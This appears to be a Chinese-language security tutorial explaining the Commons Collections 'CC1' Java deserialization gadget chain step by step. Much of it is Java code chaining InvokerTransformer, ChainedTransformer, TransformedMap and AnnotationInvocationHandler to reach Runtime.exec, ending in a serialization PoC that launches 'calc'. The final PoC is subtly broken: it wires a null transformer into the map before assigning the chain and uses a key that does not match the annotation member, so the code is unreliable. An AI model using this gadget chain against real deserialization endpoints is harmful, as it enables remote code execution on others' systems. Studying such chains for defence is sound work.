环境搭建不说了 网上很多优秀的文章教学
先列出利用的链子然后我们需要倒着进行分析
AnnotationInvocationHandler.readObject()--> AbstractInputCheckedMapDecorator.MapEntry.setValue()--> TransformedMap.checkSetValue()--> ChainedTransformer.transform()--> InvokerTransformer.transform() 
 
CC1链的末尾 (入口/源头)就是Commons Collections库中的Tranformer接口,这个接口里面有个transform方法。
InvokerTransformer 
找到这个类发现实现了Tranformer接口的方法
public  Object transform (Object input)  {    if  (input == null ) {         return  null ;     } else  {         try  {             Class  cls  =  input.getClass();             Method  method  =  cls.getMethod(this .iMethodName, this .iParamTypes);             return  method.invoke(input, this .iArgs); 
 
可以看到这段代码 代码不好建议逐句分析这里直接放到注释里面
这就完全符合反序列化的参数可控可以直接进行利用,参数可控就导致了反射调用任意类 任意方法 。
进行利用
package  org.example;import  org.apache.commons.collections.Transformer;import  org.apache.commons.collections.functors.InvokerTransformer;import  java.io.IOException;import  java.lang.reflect.*;public  class  cc1  {    public  static  void  main (String[] args)  throws  InvocationTargetException, IllegalAccessException, NoSuchMethodException {                           Runtime  cmd  =  Runtime.getRuntime();                                                      new  InvokerTransformer ("exec" ,new  Class []{String.class},new  Object []{"calc" }).transform(cmd);     } } 
 
new  InvokerTransformer ("exec" ,new  Class []{String.class},new  Object []{"calc" }).transform(cmd);
 
知道了InvokerTransformer类可以调用transform()方法执行命令,那接下来的思路就是寻找还有其他什么地方调用了InvokerTransformer类的transform()方法。
可以看到在TransformedMap这个类下面的checkSetValue方法调用了从valueTransformer.transform
往上找valueTransformer 
protected  TransformedMap (Map map, Transformer keyTransformer, Transformer valueTransformer)  {    super (map);     this .keyTransformer = keyTransformer;     this .valueTransformer = valueTransformer; } 
 
发现 keyTransformer,valueTransformer 参数可控 但是是protected,只能内部类访问,权限不够,往上找,查看是谁具体调用了方法checkSetValue()内部的这个transform(),发现是valueTransformer进行调用,查看valueTransformer,发现valueTransformer也是protect权限,继续查看valueTransformer从哪里来的,最后我们发现decorate()调用TransformedMap()的构造方法来的,所有涉及到的方法,只有decorate的权限修饰符是public
public  static  Map decorate (Map map, Transformer keyTransformer, Transformer valueTransformer)  {    return  new  TransformedMap (map, keyTransformer, valueTransformer); } 
 
那么这个decorate类我们就可以进一步控制valueTransformer
关键:TransformedMap 本身不存储数据,而是将操作委托给原始 HashMap,并在操作前后触发转换器逻辑。
这里穿插一下TransformedMap装饰器本事就像是一个外挂没有实际作用需要HashMap来存储键值对,需要披挂在HashMap上才能发挥作用 
 
由于我们使用的是transformMap的方法,所以先去构建一个HashMap,再通过这个map来调用transformer内的decorate()来完成一个transformedMap的实例化,最后再想办法触发checkSetValue()方法即可
Runtime r=Runtime.*getRuntime*(); InvokerTransformer invokerTransformer=new  InvokerTransformer ("exec" ,new  Class []{String.class},new  Object []{"calc" });  HashMap<Object,Object> map=new  HashMap <>();   Map<Object,Object> transformedmap=TransformedMap.decorate(map,null ,invokerTransformer);  
 
寻找调用checkSetValue()的方法 
发现AbstractlnputCheckedMapDecorator类种的setValue方法可以进行对checkSetvalue的调用那么就
checkSetValue()是TransformedMap的关键方法,用于在值被修改时应用转换逻辑。当调用 Map.Entry.setValue() 修改条目值时,TransformedMap 的 checkSetValue() 会被触发,对值进行转换。
穿插:Map里存储了键值对,每一个键值对被java封装成一个Entry对象,当想修改键值对的值的时候就可以可以直接通过`Entry`的`setValue()`方法进行修改,这里因为有装饰器TransformedMap,装饰器TransformedMap监听对值的修改操作,就是每当想调用**`setValue()`时,外挂会先触发`checkSetValue()`方法**,对修改的值做额外的处理 
 
MapEntry类实际上是重写父类AbstractMapEntryDecorator的setValue()方法
MapEntry的父类AbstractMapEntryDecorator又引入了Map.Entry接口,所以我们只需要进行常用的Map遍历,就可以调用setValue(),,然后水到渠成的调用checkSetValue()
解释下为什么要遍历:`TransformedMap`的机制**:它通过装饰`Map.Entry`对象(每个纸条)来监听修改操作,直接调用`map.put("键", "新值")`可能绕开外挂程序,遍历后通过`entry.setValue()`修改,才能确保外挂程序被调用,**底层原因:TransformedMap`的`Map.Entry`是改装过的(`AbstractMapEntryDecorator`的子类),它的`setValue()`方法被重写,主动调用`checkSetValue(),遍历是确保每个`Entry`都使用改装后的方法的关键步骤  
 
一句话就是确保每个Entry都使用改装后的方法,进而更好调用setvalue去调用checkSetvalue
public  class  TransformedMapDemo  {    public  static  void  main (String[] args)  {         Runtime  runtime  =  Runtime.getRuntime();         InvokerTransformer  invokerTransformer  =  new  InvokerTransformer (                 "exec" , new  Class []{String.class}, new  Object []{"calc" });         HashMap<Object,Object> map=new  HashMap <>();     map.put("key" ,"value" );           Map<Object, Object> transformedMap = TransformedMap.decorate(             map, null , invokerTransformer);     for (Map.Entry entry:transformedMap.entrySet()) {                     entry.setValue(runtime);           } } } 
 
for(Map.Entry entry:transformedMap.entrySet()) {   *//遍历Map常用格式*    entry.setValue(runtime);                      } 
 
  在这里, transformedMap是经过装饰的 Map对象,具有特殊的行为。通过 entrySet() 方法获取了键值对的集合,然后进行遍历。transformedMap.entrySet()返回的是一个包含 Map.Entry 对象的集合,这样就可以遍历 M ap 的键值对。Map.Entry 是一个内部接口,用于表示Map中 的键值对,其中可以通过 getKey() 获取键,通过 getValue()获取值。
因为Map里的entrySet()是被transformedMap装饰器进行外挂的,本来是要去Map种的setvalue方法,但是经过装饰器的定义绘制街道MapEntry种调用里面的setValue方法进而去调用checkSetValue方法
梳理
首先,我们找到了TransformedMap这个类,我们想要调用其中的checkSetValue方法,但是这个类的构造器是peotected权限,只能类中访问,所以我们调用decorate方法来实例化这个类,
 在此之前我们先实例化了一个HashMap,并且调用了put方法给他赋了一个键值对(这里是为了让我们再后边的遍历中调用setValue()提供前置条件),然后把这个map当成参数传入,实例化成了一个transformedmap对象,这个对象也是Map类型的,
 然后我们对这个对象进行遍历,在遍历过程中我们可以调用setValue方法,而恰好又遇到了一个重写了setValue的父类,这个重写的方法刚好调用了checkSetValue方法,这样就形成了一个闭环
追寻setValue,找到readObject() 
AnnotationInvocationHandler private  void  readObject (java.io.ObjectInputStream s)     throws  java.io.IOException, ClassNotFoundException {     s.defaultReadObject();          AnnotationType  annotationType  =  null ;     try  {         annotationType = AnnotationType.getInstance(type);     } catch (IllegalArgumentException e) {                  throw  new  java .io.InvalidObjectException("Non-annotation type in annotation serial stream" );     }     Map<String, Class<?>> memberTypes = annotationType.memberTypes();               for  (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {         String  name  =  memberValue.getKey();         Class<?> memberType = memberTypes.get(name);         if  (memberType != null ) {               Object  value  =  memberValue.getValue();             if  (!(memberType.isInstance(value) ||                   value instanceof  ExceptionProxy)) {                 memberValue.setValue(                     new  AnnotationTypeMismatchExceptionProxy (                         value.getClass() + "["  + value + "]" ).setMember(                             annotationType.members().get(name)));             }         }     } } 
 
发现了readobject下调用了setvalue
由于memberValues可控,这样我们就可以传入自己需要的,然后实现setValue方法
但是这个类没有说明是不是public之类的,也就是我们只能在包里面进行diaoyong,要想在外部调用的话就必须使用反射
copy的粗略的代码
public  static  void  main (String[] args)  throws  Exception {    Runtime  runtime  =  Runtime.getRuntime();     InvokerTransformer  invokerTransformer  =  new  InvokerTransformer (             "exec" , new  Class []{String.class}, new  Object []{"calc" });     HashMap<Object,Object> map=new  HashMap <>();     map.put("key" ,"value" );  Map<Object,Object> transformedMap = TransformedMap.decorate(map, null , invokerTransformer); Class  c  =  Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" );Constructor  constructor  =  c.getDeclaredConstructor(Class.class, Map.class);constructor.setAccessible(true ); Object  o  =  constructor.newInstance(Override.class, transformedMap);serialize(o);   unserialize("CC1.txt" );  } public  static  void  serialize (Object object)  throws  Exception{    ObjectOutputStream oos=new  ObjectOutputStream (new  FileOutputStream ("CC1.txt" ));    oos.writeObject(object); } public  static  void  unserialize (String filename)  throws  Exception{   ObjectInputStream objectInputStream=new  ObjectInputStream (new  FileInputStream (filename));    objectInputStream.readObject(); } 
 
发现没有弹出计算器
解决三个问题 1. Runtime是没有实现Serializable接口的,无法序列化 2. AnnotationInvocationHandler中的readObject执行 memberValue.setValue需要绕过两if判断 3. memberValue.setValue中的值无法控制 
 
Runtime是没有实现Serializable接口的,无法序列化 虽然Runtime是没有实现Serializable接口的,可以运用反射来获取它的原型类,它的原型类Class是存在serializable接口,可以序列化的
改成下面这种形式
public  static  void  main (String[] args)  throws  ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {        Class rc=Class.forName("java.lang.Runtime" );                          Method getRuntime= rc.getDeclaredMethod("getRuntime" ,null );             Runtime r=(Runtime) getRuntime.invoke(null ,null );             Method exec=rc.getDeclaredMethod("exec" , String.class);                 exec.invoke(r,"calc" );                                          } 
 
改成这样也是可以执行命令的;但是问题又来了,上面一共执行了三次transform方法。但是InvokerTransformer类中只能执行一次transform方法;
这里又要介绍一个需要利用的类ChainedTransformer;可以看一下此类的构造方法和transform方法
public  ChainedTransformer (Transformer[] transformers)  {    super ();     iTransformers = transformers; } public  Object transform (Object object)  {    for  (int  i  =  0 ; i < iTransformers.length; i++) {         object = iTransformers[i].transform(object);     }     return  object; } 
 
所以我们利用chainedTransformer
public  static  void  main (String[] args)  throws  ClassNotFoundException {     Class  runtimeClass  =  Class.forName("java.lang.Runtime" );        Transformer[] Transformers=new  Transformer []{              new  InvokerTransformer ("getDeclaredMethod" ,new  Class []{String.class,Class[].class},new  Object []{"getRuntime" ,null }),              new  InvokerTransformer ("invoke" ,new  Class []{Object.class,Object[].class},new  Object []{null ,null }),              new  InvokerTransformer ("exec" ,new  Class []{String.class},new  Object []{"calc" })      };            ChainedTransformer chainedTransformer= new  ChainedTransformer (Transformers);      chainedTransformer.transform(Runtime.class); } 
 
同样可以运行
解决setValue()方法无法执行的原因 setValue()方法是在两个if语句下边
所以我们需要绕过这两个if语句才能执行
第一个if就是判断类型要不为空
第二个if
memberType.isInstance(value) || value instanceof ExceptionProxy:表示 value 是 memberType 类型的实例,或者是 ExceptionProxy 类型。
!():对整个条件取反。,如果 value 既不是 memberType 的实例,也不是 ExceptionProxy,条件为真,进入 if 块。
解决无法控制setValue值的问题 处理完if发现传进去的参数我们不可控
这里需要借助另一个类ConstantTransformer;这个类非常有意思,构造方法传递什么值,transform就返回什么值
public  ConstantTransformer (Object constantToReturn)  {    super ();     iConstant = constantToReturn; } public  Object transform (Object input)  {    return  iConstant; } 
 
POC
import  org.apache.commons.collections.Transformer;import  org.apache.commons.collections.functors.ChainedTransformer;import  org.apache.commons.collections.functors.ConstantTransformer;import  org.apache.commons.collections.functors.InvokerTransformer;import  org.apache.commons.collections.map.TransformedMap;import  java.io.*;import  java.lang.reflect.Constructor;import  java.lang.reflect.InvocationTargetException;import  java.lang.reflect.Method;import  java.util.HashMap;import  java.util.Map;public  class  cc1  {    public  static  void  main (String[] args)  throws  IOException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, ClassNotFoundException, InstantiationException {                                             HashMap<Object, Object> map = new  HashMap ();         map.put("key" , "aaa" );         ChainedTransformer  chainedTransformer  =  null ;         Map<Object, Object> transformedMap = TransformedMap.decorate(map, null , chainedTransformer);                                    Transformer[] transformers = new  Transformer []{                 new  ConstantTransformer (Runtime.class),                 new  InvokerTransformer ("getMethod" , new  Class []{String.class, Class[].class}, new  Object []{"getRuntime" , null }),                 new  InvokerTransformer ("invoke" , new  Class []{Object.class, Object[].class}, new  Object []{null , null }),                 new  InvokerTransformer ("exec" , new  Class []{String.class}, new  Object []{"calc" })         };         chainedTransformer = new  ChainedTransformer (transformers);         chainedTransformer.transform(Runtime.class);                  Class  c  =  Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" );         Constructor  annotationinvocaitonhdl  = c.getDeclaredConstructor(Class.class,Map.class);         annotationinvocaitonhdl.setAccessible(true );         Object  obj  = annotationinvocaitonhdl.newInstance(Override.class,transformedMap);         serialize(obj);     }     public  static  void  serialize (Object obj)  throws  IOException{         ObjectOutputStream  oos  =  new  ObjectOutputStream (new  FileOutputStream ("serialize" ));         oos.writeObject(obj);     }     }